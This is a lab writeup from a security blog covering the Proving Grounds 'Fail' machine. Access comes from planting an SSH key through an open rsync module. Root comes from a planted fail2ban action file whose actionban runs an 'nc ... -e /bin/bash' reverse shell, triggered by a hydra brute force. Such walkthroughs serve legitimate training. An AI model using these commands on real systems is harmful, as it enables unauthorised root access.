SecJournal
  • 👋Welcome
    • SecJournal
    • About Me
  • 👨‍💻Blogs
    • My Blogs
      • Malware
        • Fake WinRAR 0-Day
        • Github 0 Days
      • Scams
        • Social Engineering
        • May Chong
        • Liu Hongtian
        • Packing Green
        • Richard Spindler
        • Ukraine
        • Coalition Tech
        • Telegram Customer Service
      • Exploits
      • Random
        • Upgrade Shells
    • Course Reviews
      • OSCP / PEN-200 Review
      • Certified Red Team Operator (CRTO) Review
      • Certified Red Team Expert (CRTE) Review
      • OSWE / WEB-300 Review
      • OSED / EXP-301 Review
  • 🔐What is Security
    • Information Security
    • Getting Started
      • CTFs
      • Hacking
  • 🖱️Website Security
    • Disclosed Bugs
      • Dutch Government
      • Algolia API Misconfiguration
    • Web
      • MVC Framework
    • SQL Injection
      • Portswigger Labs
    • Access Control
      • Portswigger Labs
    • Authentication Bypass
      • Portswigger Labs
    • Business Logic
      • Portswigger Labs
    • Information Disclosure
      • Portswigger Labs
    • Directory Traversal
      • Portswigger Labs
    • Command Injection
      • Portswigger Labs
    • File Upload Vulnerabilities
      • Portswigger Labs
    • Server-Side Request Forgery
      • Portswigger Labs
    • Cross-Origin Resource Sharing
      • Portswigger Labs
    • Cross-Site Request Forgery
      • Portswigger Labs
    • Cross-Site Scripting
      • Portswigger XSS Labs
      • Portswigger DOM-XSS Labs
    • JSON Web Tokens
      • Portswigger Labs
    • API Testing
      • Portswigger Labs
    • WebSockets
      • Portswigger Labs
    • Deserialization
      • Portswigger Labs
    • Prototype Pollution
      • Portswigger Labs
    • Server-Side Template Injection
      • Portswigger Labs
    • XXE Injection
      • Portswigger Labs
    • Web Cache Poisoning
      • Portswigger Labs
    • HTTP Request Smuggling
      • Portswigger Labs
    • OAuth Authentication
      • Portswigger Labs
  • 👀Buffer Overflows
    • Buffer Overflows
      • System Architecture
      • Compilers, Assemblers, Debuggers and Decompilers
      • Binary Security
      • Address Manipulation
    • OSCP BOF (OUTDATED)
    • Ret2Libc
    • ROP Chaining
    • Canary Bypass
    • ASLR Bypass
  • 🖥️Active Directory
    • Active Directory
    • Tools
    • Windows Authentication
    • Kerberos
      • Delegation
      • Attacking Kerberos
    • ACLs and GPOs
      • Abusing ACLs and GPOs
    • LDAP
  • ✍️Writeups
    • HTB Season 3
      • Analytics
      • Appsanity
      • Codify
      • Devvortex
      • Drive
      • Hospital
      • Manager
      • Napper
      • Surveillance
      • Visual
    • HTB Season 2
      • Authority
      • Bookworm
      • Cozyhosting
      • Cybermonday
      • Download
      • Gofer
      • Intentions
      • Keeper
      • Pilgrimage
      • Rebound
      • RegistryTwo
      • Sandworm
      • Sau
      • Zipping
    • HTB Season 1
      • Agile
      • Busqueda
      • Cerberus
      • Coder
      • Format
      • Inject
      • Mailroom
      • MonitorsTwo
      • OnlyForYou
      • PC
      • Socket
      • Snoopy
    • HackTheBox
      • Easy
        • Academy
        • Access
        • Active
        • Admirer
        • Antique
        • Arctic
        • Armageddon
        • Backdoor
        • Bank
        • Bashed
        • Bastion
        • Blue
        • Blocky
        • Blunder
        • Bounty
        • Broker
        • Buff
        • Curling
        • Doctor
        • Driver
        • Explore
        • Forest
        • FriendZone
        • Frolic
        • GoodGames
        • Granny
        • Heist
        • Help
        • Horizontall
        • Irked
        • Jerry
        • Knife
        • Laboratory
        • Legacy
        • Luanne
        • Love
        • Mirai
        • MetaTwo
        • Nest
        • Netmon
        • Networked
        • Nibbles
        • NodeBlog
        • Omni
        • OpenAdmin
        • OpenSource
        • Optimum
        • Paper
        • Pandora
        • Photobomb
        • Postman
        • Precious
        • Previse
        • RedPanda
        • Remote
        • Return
        • RouterSpace
        • Sauna
        • ScriptKiddie
        • Secret
        • Sense
        • Servmon
        • Shoppy
        • Support
        • Soccer
        • Spectra
        • Squashed
        • SteamCloud
        • Stocker
        • SwagShop
        • Tabby
        • Timelapse
        • Toolbox
        • Topology
        • Traceback
        • Trick
        • TwoMillion
        • Valentine
        • Validation
        • Wifinetic
        • Writeup
      • Medium
        • Ambassador
        • Arkham
        • Atom
        • Backend
        • BackendTwo
        • Bagel
        • Bart
        • Bastard
        • Book
        • BroScience
        • Bucket
        • Cache
        • Canape
        • Cascade
        • Catch
        • Chaos
        • Chatterbox
        • Clicker
        • Cronos
        • Devoops
        • dynstr
        • Encoding
        • Epsilon
        • Escape
        • Faculty
        • Forge
        • Forgot
        • Fuse
        • Giddy
        • Haircut
        • Hawk
        • Intelligence
        • Interface
        • Investigation
        • Jeeves
        • Json
        • Jupiter
        • Lazy
        • Lightweight
        • Magic
        • Mentor
        • Meta
        • Monteverde
        • Nineveh
        • Noter
        • Obscurity
        • October
        • Ophiuchi
        • Outdated
        • Passage
        • Pit
        • Poison
        • Popcorn
        • Querier
        • Ransom
        • Resolute
        • Retired
        • Schooled
        • Scrambled
        • Shared
        • Shibboleth
        • Silo
        • SolidState
        • StreamIO
        • TartarSauce
        • Tenet
        • TheNotebook
        • Time
        • Unattended
        • Undetected
        • Unicode
        • Union
        • UpDown
        • Vault
      • Hard
        • Acute
        • Blackfield
        • BreadCrumbs
        • CarpeDiem
        • Extension
        • Falafel
        • Flight
        • Holiday
        • Kotarak
        • Mantis
        • Monitors
        • Object
        • Oouch
        • Pikaboo
        • Pollution
        • Quick
        • RainyDay
        • Reel
        • Registry
        • Search
        • Seventeen
        • Talkative
        • Unobtainium
        • Vessel
        • Zipper
      • Insane
        • Absolute
        • Anubis
        • APT
        • BrainFuck
        • CrossFit
        • Derailed
        • Fighter
        • Fulcrum
        • Hathor
        • Multimaster
        • pivotapi
        • Sekhmet
        • Sink
        • Sizzle
        • Stacked
    • Proving Grounds Practice
      • Windows
        • Access
        • Algernon
        • AuthBy
        • BillyBoss
        • Butch
        • Craft
        • Craft2
        • DVR4
        • Heist
        • Helpdesk
        • Hutch
        • Internal
        • Jacko
        • Kevin
        • Medjed
        • Nickel
        • Resourced
        • Shenzi
        • Slort
        • Squid
        • Symbolic
        • Vault
        • Vector
      • Linux
        • Apex
        • BadCorp
        • Banzai
        • Blackgate
        • Bratarina
        • Breakout
        • BunyIP
        • Cassios
        • Catto
        • Charlotte
        • Chatty
        • ClamAV
        • Cobweb
        • CookieCutter
        • Deployer
        • Depreciated
        • Develop
        • Dibble
        • Escape
        • Exfiltrated
        • Exghost
        • Fail
        • Fantastic
        • Flasky
        • Forward
        • Hawat
        • Hetemit
        • Hunit
        • Illusion
        • Injecto
        • KeyVault
        • G00g
        • Malbec
        • Mantis
        • Maria
        • Matrimony
        • Megavolt
        • Muddy
        • Nappa
        • Nukem
        • Payday
        • Pebbles
        • Pelican
        • Peppo
        • Phobos
        • Postfish
        • PlanetExpress
        • QuackerJack
        • Readys
        • Reconstruction
        • Roquefort
        • Sirol
        • Shiftdel
        • Shifty
        • Snookums
        • Sona
        • Sorcerer
        • Spaghetti
        • Splodge
        • Surf
        • Sybaris
        • Synapse
        • Tico
        • Thor
        • Twiggy
        • UC404
        • VoIP
        • Walla
        • Wheels
        • XposedAPI
        • ZenPhoto
        • Zino
  • 🐍Evasion
    • Evasion
      • Windows Fundamentals
      • Detection
      • Malware Techniques
  • 🔺Adversary Emulation
    • Red Teaming
      • Adversary Emulation
Powered by GitBook
On this page
  • Gaining Access
  • Rsync Enum -> SSH
  • Privilege Escalation
  • Fail2ban -> Root
  1. Writeups
  2. Proving Grounds Practice
  3. Linux

Fail

PreviousExghostNextFantastic

Last updated 1 year ago

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 -Pn 192.168.243.126
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-17 21:08 +08
Nmap scan report for 192.168.243.126
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
873/tcp open  rsync

Rsync was the only thing available.

Rsync Enum -> SSH

Hacktricks has a whole page for RSync we can follow:

We can first do further enumeration on the modules available:

$ nmap -sV --script "rsync-list-modules" -p 873 192.168.243.126
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-17 21:09 +08
Nmap scan report for 192.168.243.126
Host is up (0.17s latency).

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)
| rsync-list-modules: 
|_  fox                 fox home

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.45 seconds

fox might be the user present on the machine. We can list the files present:

$ rsync -av --list-only rsync://fox@192.168.243.126/fox
receiving incremental file list
drwxr-xr-x          4,096 2021/01/21 22:21:59 .
lrwxrwxrwx              9 2020/12/04 04:22:42 .bash_history -> /dev/null
-rw-r--r--            220 2019/04/18 12:12:36 .bash_logout
-rw-r--r--          3,526 2019/04/18 12:12:36 .bashrc
-rw-r--r--            807 2019/04/18 12:12:36 .profile

What we do is create a new .ssh directory and place our public key within it:

mkdir .ssh
chmod 700 .ssh
cp ~/.ssh/id_rsa.pub .ssh/authorized_keys
chmod 600 .ssh/authorized_keys

Then, transfer it to the machine:

$ rsync -av .ssh rsync://fox@192.168.243.126/fox
sending incremental file list
.ssh/
.ssh/authorized_keys

sent 534 bytes  received 67 bytes  240.40 bytes/sec
total size is 391  speedup is 0.65

Then, we can ssh in:

Privilege Escalation

Fail2ban -> Root

The user is able to edit the fail2ban configuration files to execute commands as root since fox is part of that group.

We just need to create a malicious iptables-multiport.conf file like this:

# Fail2Ban configuration file
#
# Author: Cyril Jaquier
# Modified by Yaroslav Halchenko for multiport banning
#

[INCLUDES]

before = iptables-common.conf

[Definition]

# Option:  actionstart
# Notes.:  command executed once at the start of Fail2Ban.
# Values:  CMD
#
actionstart = <iptables> -N f2b-<name>
              <iptables> -A f2b-<name> -j <returntype>
              <iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>

# Option:  actionstop
# Notes.:  command executed once at the end of Fail2Ban
# Values:  CMD
#
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
             <actionflush>
             <iptables> -X f2b-<name>

# Option:  actioncheck
# Notes.:  command executed once before each actionban command
# Values:  CMD
#
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = nc 192.168.45.231 80 -e /bin/bash
# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>
[Init]

Afterwards, replace the actual file with our malicious one, where the actionban has been edited.

fox@fail:/etc/fail2ban/action.d$ rm iptables-multiport.conf
fox@fail:/etc/fail2ban/action.d$ wget 192.168.45.231:21/iptables-multiport.conf
--2023-07-17 09:23:58--  http://192.168.45.231:21/iptables-multiport.conf
Connecting to 192.168.45.231:21... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1401 (1.4K) [application/octet-stream]
Saving to: ‘iptables-multiport.conf’

iptables-multiport.conf 100%[============================>]   1.37K  --.-KB/s    in 0s      

2023-07-17 09:23:59 (183 MB/s) - ‘iptables-multiport.conf’ saved [1401/1401]

To trigger it, just generate a lot of ssh tries with hydra:

$ hydra -l fox -P /usr/share/wordlists/rockyou.txt 192.168.243.126 ssh

We would then get a reverse shell back as root:

✍️
873 - Pentesting RsyncHackTricks
Logo